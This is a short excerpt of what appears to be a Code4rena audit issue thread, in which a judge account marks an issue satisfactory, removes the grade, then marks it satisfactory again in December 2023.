#4 - c4-judge
2023-12-06T09:48:32Z
alex-ppg marked the issue as satisfactory
#5 - c4-judge
2023-12-08T22:35:41Z
alex-ppg removed the grade
#6 - c4-judge
2023-12-08T22:57:17Z
alex-ppg marked the issue as satisfactory